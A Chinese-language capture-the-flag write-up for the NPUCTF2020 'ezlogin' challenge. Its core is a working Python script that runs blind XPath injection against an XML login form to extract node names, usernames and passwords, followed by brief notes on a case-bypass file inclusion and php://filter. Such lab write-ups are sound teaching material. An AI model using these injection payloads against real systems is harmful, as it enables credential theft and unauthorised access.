0%

[NPUCTF2020]ezlogin

[NPUCTF2020]ezlogin

xml注入,全新知识点

题解

打开题目可以发现username和password是以xml格式提交的,第一反应就是xxe。
xxe不会,随便搜了几个payload来打,回显格式不对,估计是没机会了,直接搜wp进行学习

找到一个xpath注入的文章https://www.tr0y.wang/2019/05/11/XPath%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/
注入整体思路和SQL注入类似,不过这里没什么过滤,这个注入也没注释符,手动闭合一下引号
再贴一个抄来的脚本

import requests
import re

s = requests.session()
url = 'http://954ee49d-e7ac-4919-9dc7-91e617267870.node3.buuoj.cn/login.php'

head = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
    "Content-Type": "application/xml"
}
find = re.compile('<input type="hidden" id="token" value="(.*?)" />')

strs = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'

flag = ''
for i in range(1, 100):
    for j in strs:
        r = s.post(url=url)
        token = find.findall(r.text)
        # 方括号内数为第几个节点
        # 猜测根节点名称
        payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(
            i, j, token[0])
        # 猜测子节点名称
        payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(
            i, j, token[0])

        # 猜测accounts的节点
        payload_3 = "<username>'or substring(name(/root/accounts/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(
            i, j, token[0])

        # 猜测user节点
        payload_4 = "<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(
            i, j, token[0])

        # 跑用户名和密码
        payload_username = "<username>'or substring(/root/accounts/user[1]/username/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(
            i, j, token[0])

        payload_password = "<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(
            i, j, token[0])

        # print(payload_username)
        r = s.post(url=url, headers=head, data=payload_password)
        # print(r.text)

        if "非法操作" in r.text:
            flag += j
            print(flag)
            break

    if "用户名或密码错误!" in r.text:
        break

print(flag)

这里还有一个token,每隔一段时间会变化,所以脚本里面还用正则匹配了一下token提交
链接中文章还对获取节点下子节点个数和节点长度进行了介绍,但是实际上注入的时候直接爆字段就可以了,如果长度超了或者项不存在就直接查不出来,也不费什么事
最后查出来两个用户,一个guest密码123456,一个adm1n密码gtfly123,密码都是md5,123456查一下就能查出来,gtfly123在chamd5上收费,我一时间强烈怀疑出题人什么心态。。。最后找了个wp找到密码登录进去
guest登录进去一无所有,还没有登出功能,手动清cookie。。。adm1n登进去之后文件包含,过滤的所有字符可以大写绕过,php://filter读flag
php://filter这种东西大写部分字母还能用别说还挺神奇的